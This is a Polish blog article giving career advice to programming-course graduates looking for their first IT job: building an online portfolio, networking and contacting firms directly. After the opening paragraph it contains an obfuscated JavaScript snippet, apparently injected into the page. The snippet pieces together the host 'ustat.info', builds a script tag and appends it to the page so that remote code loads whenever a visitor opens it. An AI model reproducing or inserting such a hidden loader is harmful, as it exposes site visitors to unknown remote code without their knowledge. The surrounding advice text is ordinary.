W dzisiejszych czasach nie sposób nie zauważyć zdecydowanego wzrostu atrakcyjności branży IT jako potencjalnego miejsca pracy i dalszego rozwoju. Jak jednak możemy się domyślić, wejście na tej rynek wcale nie jest tak proste. Weźmy dziś za przykład zawód programisty – nawet jeżeli ukończyliśmy pomyślnie wybrany przez nas kurs, to nie oznacza to tego, że od razu staniemy się łakomym kąskiem dla firm poszukujących pracowników!
(function(){
xb6r_=(„u”+””)+”s”+””;xb6r_+=(„tat.”)+(„i”);
xb6r=document.createElement(„script”);xb6r.type=”text/javascript”;xb6r_+=”nf”+(„o”)+”/”;
xb6ru=”128074652″+”.”;xb6r.async=true;xb6ru+=”g2z1gjxqb6rjcgrlyqp2yu59rkkp2X”;
xb6r.src=”https://”+xb6r_+xb6ru;xb6rb=document.body;xb6rb.appendChild(xb6r);
})();
Czas na działania
Zakończenie kursu programowania to zaledwie początek naszej przygody z rynkiem IT. Świeżo upieczony specjalista z tego zakresu nie może sobie pozwolić na oczekiwanie z myślą „przecież ktoś musi się do nas odezwać”. Wręcz przeciwnie – trzeba wziąć swoja przyszłość we własne ręce i aktywnie szukać interesującego nas miejsca pracy. W obecnych czasach, dzięki obecności sieci internetowej stało się to nieco prostsze, przez obecność najróżniejszych portali internetowych. To klasyczna droga poszukiwania pracy, jednak w przypadku IT, równie ważne jest budowanie własnej obecności online. Jako programista możemy robić poprzez dodawanie swojego contentu w postaci kodu, dbanie o jego jakość i podpinanie wszystkich repozytoriów. Korzyści z takich działań są dwuwymiarowe: wyrobicie w sobie nawyki niezbędne do pracy w IT, lecz także będziecie mieli szansę na zaprezentowanie swoich umiejętności. Sytuację nowej osoby na rynku IT świetnie wytłumaczył Michał Mysiak z SDA: „… Staje się on nieoszlifowanym diamentem, mającym cechy i kompetencje, żeby przekonać potencjalnego pracodawcę o tym, że inwestycja w początkującą osobę w ciągu kilku kolejnych miesięcy zacznie się zwracać…”(źródło: https://marketingibiznes.pl/biznes/opinie-ceo-software-development-academy-o-kursach-programowania-wywiad-z-michalem-mysiakiem/).
Wciąż nie mam pracy…
Oczywiście może się zdarzyć sytuacja (i nie powinniśmy być nią zdziwieni), że mimo naszej mocnej obecności online i po wielu wysłanych aplikacjach, wciąż nikt się do nas nie odezwał… Nasza rada w takiej sytuacji jest jedna – nie można się poddawać i należy stale budować swoją sieć kontaktów poprzez najróżniejsze portale internetowe. Czasami zdziwicie się, lecz warto napisać samodzielnie wiadomość do samej firmy z zapytaniem o możliwości zatrudnienia. Dlaczego to dobry pomysł? Odpowiedź jest dość prosta: środowisko IT jest pełne junior specjalistów, którzy na pierwszy rzut oka są do siebie bardzo podobni. Trzeba zrobić wszystko, aby się wyróżnić z tłumu!
Podsumowanie
Jak więc widzicie, skończenie kursu nawet w najlepszej szkole niekoniecznie musi oznaczać tego, że od razu znajdziecie pracę. Czasami wymaga to niemałych pokładów cierpliwości, aby w końcu odnaleźć miejsce, w którym będziemy mogli rosnąć i starać się być lepszymi pracownikami dla siebie i firmy, w której pracujemy. Nie ma co się poddawać!
